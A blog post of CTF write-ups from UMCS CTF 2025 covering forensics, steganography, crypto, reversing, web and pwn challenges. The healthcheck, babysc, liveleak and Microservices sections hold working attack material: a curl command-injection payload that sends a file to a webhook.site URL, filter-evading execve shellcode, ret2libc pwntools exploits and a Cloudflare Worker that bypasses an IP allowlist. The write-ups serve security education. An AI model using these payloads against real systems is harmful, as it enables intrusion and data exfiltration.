Post

UMCS CTF 2025 Preliminary

Writeups for challenges that our team, USM Biawaks solved from the UMCS CTF 2025 Preliminary round.

UMCS CTF 2025 Preliminary

Preface

Over the weekend, our team USM Biawaks played the preliminary round for UMCS CTF 2025. Huge thanks to Adrian and Selina for playing their first CTF with me, you guys did very well. ٩(ˊᗜˋ*)و ♡

Hidden in Plain Graphic (Forensics)

Agent Ali, who are secretly a spy from Malaysia has been communicate with others spy from all around the world using secret technique . Intelligence agencies have been monitoring his activities, but so far, no clear evidence of his communications has surfaced. Can you find any suspicious traffic in this file?

A pcap is given for this challenge. If we look at the type of protocols available, the capture has HTTP, FTP, SSH and DNS traffic. There are also malformed packets that stand out.

  • All the HTTP requests don’t have responses, so we can filter them out.
  • The SSH traffic were all version exchanges, we can filter them out too.
  • There are a lot of malformed DNS requests, but there’s no changing data so we can ignore these as well.
  • The FTP packets were all anonymous logins, and no files were downloaded so we can filter them out.

With that said, we can filter out all those traffic with the following filter:

1
tcp && !http && !ftp && !ssh

This gives us one TCP stream that stands out, it’s a lot bigger and you’ll see the PNG header in its payload.

We export the raw hex from the stream and converted it back to an image.

This gives us this image, but we couldn’t get the flag from strings or metadata.

The flag was likely hidden in the image using steganography, and I was able to obtain the flag using zsteg.

Flag: umcs{h1dd3n_1n_png_st3g}

Broken (Steganography)

Can you fix what’s broken?

Solved by @adrianchx

An mp4 file is given for this challenge.

  • Inspected the broken .mp4 file via notepad++, the mp4 file structure seems corrupted so I opened a random mp4 I have to cross reference

Broken mp4 file structure

Working mp4 file structure

Another working mp4 file structure

  • They all start with NULNULNUL ftyp so i changed the one on broken.mp4 to match
  • File was still corrupted so I used MP4 Analyser to open the file,

Can see that there’s mov tag there but the file is missing moov. According to Google:

So I went back to notepad++ and searched for mov and changed it to moov and the file is fixed.

Box hierarchy before vs after changing it to moov.

Box hierarchy - before

Box hierarchy - after

Flag: umcs{h1dd3n_1n_fr4m3}

Hotline Miami (Steganography)

https://github.com/umcybersec/umcs_preliminary/tree/main/stego-Hotline_Miami

Solved by @adrianchx

We are given 3 files for this challenge, iamthekidyouknowwhatimean.wav, readme.txt and rooster.jpg.

In readme.txt it states:

1
2
3
DO YOU LIKE HURTING OTHER PEOPLE?

Subject_Be_Verb_Year

Suggesting that Subject_Be_Verb_Year is the flag format.

A quick google search tells us that Hotline Miami is video game set in 1989 in Miami, the line DO YOU LIKE HURTING OTHER PEOPLE? also happens to be a quote from an in-game character named Richard that wears a rooster mask (sound familiar?), the image of the mask happens to be an exact match of rooster.jpg.

First, we run the strings command on rooster.jpg to extract any hidden strings in the image. strings rooster.jpg The output extracted is a long sequence of unreadable string, except for the end where it says Eg=RICHARD

Based on the context clues via the game and the rooster image, we can infer that RICHARD refers to Subject in the flag.

Moving on to the .wav file, we can open the file in Audacity to analyze its spectogram, we can see from the spectogram there’s a weirdly dark segment in the .wav file, and after expanding it, we can find WATCHING 1989 hidden in the spectogram. WATCHING happens to be a verb and 1989 happens to be a year, so it matches the format of the flag as well.

Thus, by combining all of those together we are able to successfully obtain the flag.

Spectogram

Text after expanding dark segment in spectogram

Flag: umcs{RICHARD_BE_WATCHING_1989}

healthcheck (Web)

This challenge is about a blind OS command injection with out-of-band exfiltration.

  • When pointing the web checker to our server, notice that the user agent is curl. This is a bit odd, normally you’d use a headless browser instead of a command here to fetch requests for the user.
  • We can confirm the command injection vulnerability by sending another curl command following the initial URL. Like so https://www.google.com;curl <yoururl>
  • I got into a rabbithole trying to exfiltrate data through POST requests by sending the output of a command in the request body, but I think this challenge had sanitization because commands with $ and backticks character had them removed and returned as plaintext.
  • We also cannot write files on the server. If we try to redirect output to world-writable directories like /dev/shm/ and /tmp/, we can’t read the file with the @ option.
  • We can read any files using @filename but we don’t know where the flag is on the server.
  • I got stuck here for more than an hour… But I finally guessed the name that they provided in the challenge (hopes_and_dreams) and got the flag. 🥲

Payload:

1
url=https%253a//www.google.com+;curl+https%3a//webhook.site/88236e8b-9c6d-4343-8ac5-16a089804941+-d+@hopes_and_dreams

Flag: umcs{n1c3_j0b_ste4l1ng_myh0p3_4nd_dr3ams}

Straightforward (Web)

The goal of this challenge is to claim more daily bonuses than allowed to redeem the secret award.

If we look at claim(), it sets the claimed field to true when the user claims a reward.

1
2
3
4
5
6
    if row and row['claimed']:
        flash("You have already claimed your daily bonus!", "danger")
        return redirect(url_for('dashboard'))
    db.execute('INSERT OR REPLACE INTO redemptions (username, claimed) VALUES (?, 1)', (username,))
    db.execute('UPDATE users SET balance = balance + 1000 WHERE username=?', (username,))
    db.commit()

Further, the only input field to the application that we control is the username in /register. After reading the provided source code, we can confirm that this application is not vulnerable to any injection vulnerabilities.

The bug lies in how the sqlite connection object is shared among different threads.

1
2
3
4
5
def get_db():
    if 'db' not in g:
        g.db = sqlite3.connect(DATABASE, check_same_thread=False)
        g.db.row_factory = sqlite3.Row
    return g.db

By setting the check_same_thread to false, it allows the sqlite connection object to be used by another thread. This is set to true by default to enforce thread safety. Therefore, we can exploit a race condition by sending multiple requests to /claim in parallel, and because the same connection object is used by all the threads, it would allow us to bypass the daily claim limit. This is a lot easier to do in Burp by sending a request group in parallel.

Flag: UMCS{th3_s0lut10n_1s_pr3tty_str41ghtf0rw4rd_too!}

Gist of Samuel (Cryptography)

Samuel is gatekeeping his favourite campsite. We found his note.

flag: umcs{the_name_of_the_campsite}

*The flag is case insensitive

Solved by @adrianchx

Here’s the challenge file:

1
🚂🚂🚂🚂🚆🚂🚆🚂🚋🚂🚆🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚂🚆🚂🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚋🚂🚋🚋🚆🚋🚋🚋🚆🚂🚂🚋🚆🚂🚋🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚋🚋🚂🚆🚂🚋🚂🚆🚂🚂🚆🚋🚋🚂🚂🚆🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚆🚋🚋🚋🚋🚋🚆🚂🚋🚋🚋🚋🚆🚂🚂🚋🚋🚋🚆🚋🚂🚂🚆🚋🚋🚋🚋🚋🚆🚂🚋🚆🚂🚋🚋🚋🚋🚆🚂🚂🚋🚂🚆🚂🚂🚋🚂🚆🚂🚂🚋🚂🚆🚂🚋🚆🚋🚂🚋🚂🚆🚂🚂🚂🚂🚋🚆🚂🚂🚋🚋🚋🚆🚋🚂🚂🚆🚋🚂🚂🚂🚂🚆🚂🚋🚆🚂🚋🚆🚂🚆🚋🚋🚋🚋🚋🚆🚋🚋🚋🚋🚋🚆🚋🚂🚋🚂🚆🚂🚂🚂🚂🚂🚆🚂🚂🚂🚂🚋🚆🚋🚋🚋🚋🚋🚆🚋🚋🚂🚂🚂🚆🚋🚋🚋🚂🚂🚆🚂🚋🚆🚋🚂🚂🚆🚂🚂🚂🚋🚋🚆🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚂🚂🚆🚂🚋🚆🚋🚋🚆🚂🚂🚋🚆🚂🚆🚂🚋🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚋🚂🚆🚂🚆🚂🚋🚆🚂🚋🚂🚂🚆🚂🚋🚂🚂🚆🚋🚂🚋🚋🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚋🚂🚂🚆🚂🚂🚆🚋🚂🚋🚆🚂🚆🚂🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚋🚆🚂🚋🚂🚆🚂🚋🚆🚂🚂🚆🚋🚂🚆🚋🚋🚂🚂🚋🚋🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚋🚆🚋🚂🚆🚋🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚂🚂🚂🚆🚂🚂🚆🚂🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚂🚋🚂🚆🚂🚋🚆🚂🚂🚂🚋🚆🚋🚋🚋🚆🚂🚋🚂🚆🚂🚂🚆🚋🚆🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚋🚂🚆🚂🚂🚋🚆🚋🚋🚆🚋🚂🚂🚂🚆🚂🚆🚂🚋🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚂🚆🚂🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚋🚋🚋🚂🚂

Notice how there are only 3 different emojis in the text? If there were only 2 different emojis, we would’ve guessed it would be binary encoding, but another encoding that uses 3 different characters is morse code.

So we just need to map the emojis back to their morse code representations. We wrote this script that goes through the possible permutations for the mappings.

1
2
3
4
5
6
7
8
9
10
11
12
from itertools import permutations

emoji_string = """🚂🚂🚂🚂🚆🚂🚆🚂🚋🚂🚆🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚂🚆🚂🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚋🚂🚋🚋🚆🚋🚋🚋🚆🚂🚂🚋🚆🚂🚋🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚋🚋🚂🚆🚂🚋🚂🚆🚂🚂🚆🚋🚋🚂🚂🚆🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚆🚋🚋🚋🚋🚋🚆🚂🚋🚋🚋🚋🚆🚂🚂🚋🚋🚋🚆🚋🚂🚂🚆🚋🚋🚋🚋🚋🚆🚂🚋🚆🚂🚋🚋🚋🚋🚆🚂🚂🚋🚂🚆🚂🚂🚋🚂🚆🚂🚂🚋🚂🚆🚂🚋🚆🚋🚂🚋🚂🚆🚂🚂🚂🚂🚋🚆🚂🚂🚋🚋🚋🚆🚋🚂🚂🚆🚋🚂🚂🚂🚂🚆🚂🚋🚆🚂🚋🚆🚂🚆🚋🚋🚋🚋🚋🚆🚋🚋🚋🚋🚋🚆🚋🚂🚋🚂🚆🚂🚂🚂🚂🚂🚆🚂🚂🚂🚂🚋🚆🚋🚋🚋🚋🚋🚆🚋🚋🚂🚂🚂🚆🚋🚋🚋🚂🚂🚆🚂🚋🚆🚋🚂🚂🚆🚂🚂🚂🚋🚋🚆🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚂🚂🚆🚂🚋🚆🚋🚋🚆🚂🚂🚋🚆🚂🚆🚂🚋🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚋🚂🚆🚂🚆🚂🚋🚆🚂🚋🚂🚂🚆🚂🚋🚂🚂🚆🚋🚂🚋🚋🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚋🚂🚂🚆🚂🚂🚆🚋🚂🚋🚆🚂🚆🚂🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚋🚆🚂🚋🚂🚆🚂🚋🚆🚂🚂🚆🚋🚂🚆🚋🚋🚂🚂🚋🚋🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚋🚆🚋🚂🚆🚋🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚂🚂🚂🚆🚂🚂🚆🚂🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚂🚋🚂🚆🚂🚋🚆🚂🚂🚂🚋🚆🚋🚋🚋🚆🚂🚋🚂🚆🚂🚂🚆🚋🚆🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚋🚂🚆🚂🚂🚋🚆🚋🚋🚆🚋🚂🚂🚂🚆🚂🚆🚂🚋🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚂🚂🚆🚂🚂🚂🚆🚂🚂🚂🚂🚂🚂🚂🚆🚋🚋🚋🚂🚂"""

emoji_list = ['🚆', '🚂', '🚋']
morse_list = ['.', '-', '/']

for perm in permutations(morse_list):
    mapping = dict(zip(emoji_list, perm))
    morse = ''.join(mapping.get(char, '?') for char in emoji_string)
    print() 
    print(morse)

Then, throw the output into cyberchef and one of them will give you the next part of the challenge:

1
HERE IS YOUR PRIZE E012D0A1FFFAC42D6AAE00C54078AD3E SAMUEL REALLY LIKES TRAIN, AND HIS FAVORITE NUMBER IS 8

From the hint given, we know that it involves Github Gists, and clicking on the link in the hint brings us to https://gist.github.com/umcybersec/55bb6b18159083cf811de96d8fef1583 with a file that states yea, this is the gist of it.. that's all?.

However, from the translated morse code we can see there’s a random hex string that supposedly refers to the ‘prize’. Thus, by replacing the gist ID with the hex string, we are able to access https://gist.github.com/umcybersec/e012d0a1fffac42d6aae00c54078ad3e that provides us with the actual file gistfile1.txt related to the flag.

By opening the file gistfile1.txt, we can see that it contains a bunch of random unicode block elements and whitespace, nothing about the flag.

Looking back at the previous clue obtained from the decrypted morse code, specifically SAMUEL REALLY LIKES TRAIN and HIS FAVOURITE NUMBER IS 8, it gives a hint of what decryption method is to be used. TRAIN most likely refers to the Rail Fence Cipher, and the 8 is possibly the key for the cipher.

Thus, by running the contents of gistfile1.txt through a Rail Fence Cipher with the key of 8 via Cyberchef or any other cipher decoders, we are able to obtain the flag umcs{willow_tree_campsite} after resizing the decoded message to fit.

Flag: umcs{willow_tree_campsite}

http-server (Reversing)

I created a http server during my free time

34.133.69.112 port 8080

Solved by @selinatan

  • Began by analyzing the binary using strings to extract readable text:

  • These strings give a hint that Hidden path: /goodshit/umcs_server Likely flag file: /flag

  • Then tried to direct access via browser

  • Force custom headers via curl

  • After several unsuccessful attempts, turned back to the most revealing clue from the binary: GET /goodshit/umcs_server HTTP/13.37.HTTP server expects a non-standard HTTP version (13.37) , which most HTTP clients like curl or browsers will not use or support.

  • So, netcat is used and open a TCP connection to the server : nc 34.133.69.112 8080
  • Then send the HTTP request manually
1
2
GET /goodshit/umcs_server HTTP/13.37
Host: 34.133.69.112

Flag: umcs{http_server_a058712ff1da79c9bbf211907c65a5cd}

We can also solve this using static analysis. When we decompile the binary, the following block handles the server response that gets returned to us.

It’s just trying to match the substring GET /goodshit/umcs_server HTTP/13.37 in the request that we send. So to solve, we’ll just have to craft the expected request and send it to the challenge server to retrieve the flag.

babysc (Pwn)

shellcode

34.133.69.112 port 10001

The binary given to us is 64-bit LSB and not stripped so we can read function names. But source code is provided for this challenge, so this isn’t important 😉

1
2
root@61604318ea63:/ctf# file babysc
babysc: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=17c5713f0659b856ebda5cbc602cb5e28ce9249c, for GNU/Linux 3.2.0, not stripped

Protections:

1
2
3
4
5
6
7
8
9
10
11
12
root@61604318ea63:/ctf# checksec babysc
[*] '/ctf/babysc'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
ProtectionEnabledUsage
CanaryPrevent stack overflows
NX?Disables code execution on the stack
PIERandomizes the binary’s base address
RelROFullMakes some sections of the binary read-only

The program takes in user input, and executes it as shellcode.

1
2
3
4
5
6
root@61604318ea63:/ctf# ./babysc
Enter 0x1000
0x1000
Executing shellcode!

Segmentation fault

Let’s read the provided source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void vuln(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    shellcode = mmap((void *)0x26e45000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);

	puts("Enter 0x1000");
	shellcode_size = read(0, shellcode, 0x1000);
    for (int i = 0; i < shellcode_size; i++)
    {
        uint16_t *scw = (uint16_t *)((uint8_t *)shellcode + i);
        if (*scw == 0x80cd || *scw == 0x340f || *scw == 0x050f)
        {
            printf("Bad Byte at %d!\n", i);
            exit(1);
        }
    }
   puts("Executing shellcode!\n");
	((void(*)())shellcode)();
}

The program creates an mmap of 0x1000 bytes at the address 0x26e45000 and makes this block readable, writable and executable. The block is used to store our entered shellcode.

This block scans the shellcode 2 bytes at a time, and if the instruction matches 0x80cd, 0x340f or 0x050f it terminates the program. These are the instructions for int 0x80, sysenter, and syscall.

1
2
3
4
5
6
7
8
9
    for (int i = 0; i < shellcode_size; i++)
    {
        uint16_t *scw = (uint16_t *)((uint8_t *)shellcode + i);
        if (*scw == 0x80cd || *scw == 0x340f || *scw == 0x050f)
        {
            printf("Bad Byte at %d!\n", i);
            exit(1);
        }
    }

The goal is to write shellcode that will call /bin/sh to give us a shell on the challenge server. However, the three syscall instructions are being filtered, so we need to get around this restriction.

To solve, we can write self-modifying shellcode to bypass the filter. We got this idea from a comment by LiveOverflow. Let’s say we want to use the syscall instruction (0x05 0x0f), we can store 0x04 0x0e into some other register, increment those values by 1 at runtime which would give us 0x05 0x0f. Then, we can jump to the register now containing (0x050f) to do a syscall.

We modified the shellcode from here.

Shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
bits 64

section .text
global _start

_start:
    xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    push rsp
    pop rsi
    mov al, 0x3b

    jmp get_call_instr

code_after_call:
    pop rcx // rcx now has 0x0f, 0x04
    inc byte [rcx + 1]
    jmp rcx

get_call_instr:
    call code_after_call
syscall_bytes: // this instruction gets pushed onto the stack
    db 0x0f, 0x04

Assemble the shellcode:

1
nasm shellcode.asm -o shellcode.bin

Solve:

1
(cat shellcode.bin; cat) | nc 34.133.69.112 10001

Flag: umcs{shellcoding_78b18b51641a3d8ea260e91d7d05295a}

liveleak (Pwn)

No desc

34.133.69.112 port 10007

The binary given to us is 64-bit LSB, and not stripped so we can read debug symbols.

1
2
root@680c16871c99:/ctf# file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.35.so, BuildID[sha1]=7d6f66121cf284f635caeac3b61124cc373b667c, for GNU/Linux 3.2.0, not stripped

Protections:

1
2
3
4
5
6
7
8
9
10
11
root@a256f1cdbc73:/ctf# checksec chall
[*] '/ctf/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
ProtectionEnabledUsage
CanaryPrevent stack overflows
NXDisables code execution on the stack
PIERandomizes the binary’s base address
RelROPartialMakes some sections of the binary read-only

The challenge just takes in user input. If we send a very long string, we trigger a segfault, which means that we overflowed the buffer and the instruction pointer was overwritten.

1
2
3
root@680c16871c99:/ctf# python3 -c "print('A'*100)" | ./chall 
Enter your input: 
Segmentation fault

We can find the offset for the buffer overflow with pwndbg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
...[SNIP]...
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000401292 <+0>:     endbr64
   0x0000000000401296 <+4>:     push   rbp
   0x0000000000401297 <+5>:     mov    rbp,rsp
   0x000000000040129a <+8>:     mov    eax,0x0
   0x000000000040129f <+13>:    call   0x4011f7 <initialize>
   0x00000000004012a4 <+18>:    mov    eax,0x0
   0x00000000004012a9 <+23>:    call   0x40125c <vuln>
   0x00000000004012ae <+28>:    mov    eax,0x0
   0x00000000004012b3 <+33>:    pop    rbp
   0x00000000004012b4 <+34>:    ret
End of assembler dump.
pwndbg> b *main+34
Breakpoint 1 at 0x4012b4
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> r
Starting program: /home/benkyou/Dev/umcsctf/chall 
warning: Expected absolute pathname for libpthread in the inferior, but got ./libc.so.6.
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
Enter your input: 
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401291 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────
 RAX  0x7fffffffd8a0 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
 RBX  0
 RCX  0x7ffff7d147e2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0xfbad208b
 RDI  0x7ffff7e1ca80 (_IO_stdfile_0_lock) ◂— 0
 RSI  0x7ffff7e1ab23 (_IO_2_1_stdin_+131) ◂— 0xe1ca80000000000a /* '\n' */
 R8   0
 R9   0
 R10  0x7ffff7c06270 ◂— 0xf0022000048a9
 R11  0x246
 R12  0x7fffffffda08 —▸ 0x7fffffffde3d ◂— '/home/benkyou/Dev/umcsctf/chall'
 R13  0x401292 (main) ◂— endbr64 
 R14  0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011a0 (__do_global_dtors_aux) ◂— endbr64 
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
 RBP  0x6161616161616169 ('iaaaaaaa')
 RSP  0x7fffffffd8e8 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaa\n'
 RIP  0x401291 (vuln+53) ◂— ret 
...[SNIP]...
pwndbg> cyclic -l jaaaaaaa
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72

The offset for the buffer overflow is 72. Our next goal is to use the buffer overflow to execute shellcode. However, because NX is enabled, we can’t push shellcode onto the stack. Instead, we’ll need to do a ret2libc. Basically, we’ll use the existing code inside of the C standard library, in this case the system and /bin/sh string to pop a shell.

Get the base address of libc:

1
2
root@be175ef608b5:/ctf# ldd ./libc.so.6 
        /lib64/ld-linux-x86-64.so.2 (0x00007ffffffc4000)

Get the location of system:

1
2
root@be175ef608b5:/ctf# readelf -s libc.so.6 | grep system
  1481: 0000000000050d70    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

Get the location of /bin/sh:

1
2
root@be175ef608b5:/ctf# strings -a -t x libc.so.6 | grep /bin/sh
 1d8678 /bin/sh

We also need to find a pop rdi gadget so that when /bin/sh is popped from the stack, it gets passed to system.

1
2
3
root@be175ef608b5:/ctf# ROPgadget --binary ./chall | grep 'pop rdi'
...[SNIP]...
0x00000000004012bd : pop rdi ; ret

Here’s our initial exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

elf = ELF("./chall")
context.binary = elf
p = remote("34.133.69.112",10007)
# p = remote("172.17.0.3",10007)
# p = elf.process()

offset = 72

libc_base = 0x00007fffff598000
system = libc_base + 0x0000000000050d70
binsh = libc_base + 0x1d8678

pop_rdi = 0x4012bd

rop = ROP(elf)
rop.raw(pop_rdi)
rop.raw(binsh)
rop.raw(system)

# payload = flat({
#     offset: [
#         pop_rdi,
#         binsh,
#         system,
#     ]
# })

payload = flat({
    offset: rop.chain()
})


p.sendlineafter(b":", payload)
p.interactive()

This exploit worked locally and on my docker instance, but was failing on the challenge server. This was due to a stack alignment issue.

Essentially, to call system, the stack needs to be 16-byte aligned otherwise the program will crash. To fix this, we’ll need a ret gadget before the call to system.

1
2
3
root@be175ef608b5:/ctf# ROPgadget --binary ./chall | grep 'ret'
...[SNIP]...
0x000000000040101a : ret

Second attempt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

elf = ELF("./chall")
context.binary = elf
p = remote("34.133.69.112",10007)
# p = remote("172.17.0.3",10007)
# p = elf.process()

offset = 72

libc_base = 0x00007fffff598000
system = libc_base + 0x0000000000050d70
binsh = libc_base + 0x1d8678

pop_rdi = 0x4012bd
# ret = elf.address + 0x40101a
ret =  0x40101a

rop = ROP(elf)
rop.raw(pop_rdi)
rop.raw(binsh)
rop.raw(ret)
rop.raw(system)

# payload = flat({
#     offset: [
#         pop_rdi,
#         binsh,
#         ret,
#         system,
#     ]
# })

payload = flat({
    offset: rop.chain()
})


p.sendlineafter(b":", payload)
p.interactive()

Again, this exploit worked locally and on my docker instance, but not on the challenge server.

This was because the challenge server had ASLR enabled, so the address of libc is randomized each time when the challenge is executed.

We referred to this guide for bypassing ASLR.

Here’s what the exploit does:

  • It uses the PLT table to leak the base address of libc, puts() is used by the challenge so it’ll show up here. Because the PLT table is not randomized by ASLR, we can use this PLT leak to leak any address that we want.
  • We redirect the program flow back to main() to restart the program, now that we have the libc leak.
  • Then, we’ll use the leak to calculate the relative offset for puts() and get the correct libc base address.

Solve script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

elf = ELF("./chall")
context.binary = elf
p = remote("34.133.69.112",10007)
# p = remote("172.17.0.3",10007)
# p = elf.process()

offset = 72


rop = ROP(elf)
rop.puts(elf.got["puts"])
rop.main()

payload = flat({
    offset: rop.chain()
})


p.sendlineafter(b":", payload)
p.sendline(payload)
p.recvline()
r = p.recv(6)
leak = u64(r.ljust(8, b"\x00"))
print(f"leak={hex(leak)}")

# leak = 139143332265552
libc = ELF("./libc.so.6")
libc.address = leak - libc.symbols["puts"]
print(hex(libc.address))

rop = ROP(libc)
rop.call(rop.ret)  # Align the stack for 64-bit
rop.system(next(libc.search(b"/bin/sh")))  # Find the "/bin/sh" string and call system()
rop.exit()  # Clean exit after stopping the shell

payload = flat({
    offset: rop.chain()
})

p.sendline(payload)
p.interactive()

Flag: umcs{GOT_PLT_8f925fb19309045dac4db4572435441d}

Microservices (Web)

I have made a simple microservices application. Seperation of concerns at its finest!

Author: vicevirus Flag format: UMCS{…}

http://microservices-challenge.eqctf.com:7777/api/quotes

We didn’t solve this during the event, but I think this was a very good challenge that is applicable to real life.

We’re given the source code for this challenge. The application has 3 components – a frontend proxy running on node.js that the user interacts with, and 2 backend services (quotes API and flag API) that sit behind of nginx. The frontend proxy only interacts with the quotes API, but the flag needs to be fetched from the flag API.

If we make a direct request to the flag API on our local docker instance at http://127.0.0.1:5555/flag we get the flag. But if we try this on the challenge server it doesn’t work.

If we’re only allowed to talk to the frontend proxy, the only way I could think of was through an SSRF, but alas the application doesn’t have this feature or accepts any user inputs. I also looked into HTTP smuggling, but after going down a rabbithole, I learned that this wasn’t applicable for this challenge.

If we look at the nginx configuration files, the following block stands out:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
location / {
    # Private IPs
    allow 127.0.0.1;
    allow ::1;
    allow 172.18.0.0/16;
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;


    # Cloudflare IPs
    allow 103.21.244.0/22;
    allow 103.22.200.0/22;
    allow 103.31.4.0/22;
    allow 104.16.0.0/13;
    allow 104.24.0.0/14;
    allow 108.162.192.0/18;
    allow 131.0.72.0/22;
    allow 141.101.64.0/18;
    allow 162.158.0.0/15;
    allow 172.64.0.0/13;
    allow 173.245.48.0/20;
    allow 188.114.96.0/20;
    allow 190.93.240.0/20;
    allow 197.234.240.0/22;
    allow 198.41.128.0/17;

    deny all;

The config defines what IP addresses are allowed to make requests to the backend API. Because our local test environment was running on localhost, we were able to fetch the flag directly but not on the challenge server. And since the proxy allows connections from Cloudflare’s IP address pool, we can bypass the 403 forbidden error by sending a request from Cloudflare’s servers. During the event, I tried using Cloudflare WARP but Cloudflare puts WARP users in a different address pool that was not in the allowed list.

The workaround was to use Cloudflare Workers to fetch the flag from the flag API.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
export default {
    async fetch(request, env, ctx) {
      const response = await fetch("http://microservices-challenge.eqctf.com:5555/flag", {
        method: "GET",
        headers: {
          "Accept": "application/json",
        },
      });
  
      const data = await response.text();
      return new Response(data, {
        headers: { "Content-Type": "text/plain" },
      });
    },
  };

I highly recommend reading this blog post from Javan Rasokat that goes through the attack scenario in detail. In short, we shouldn’t put too much trust into allowlisting IP addresses as a security measure, but use it as a defense-in-depth. To mitigate against this attack scenario, it is recommended to implement custom certificates for authenticated origin pools, and configure host header validation on the origin server to only accept requests from verified domains.

This post is licensed under CC BY 4.0 by the author.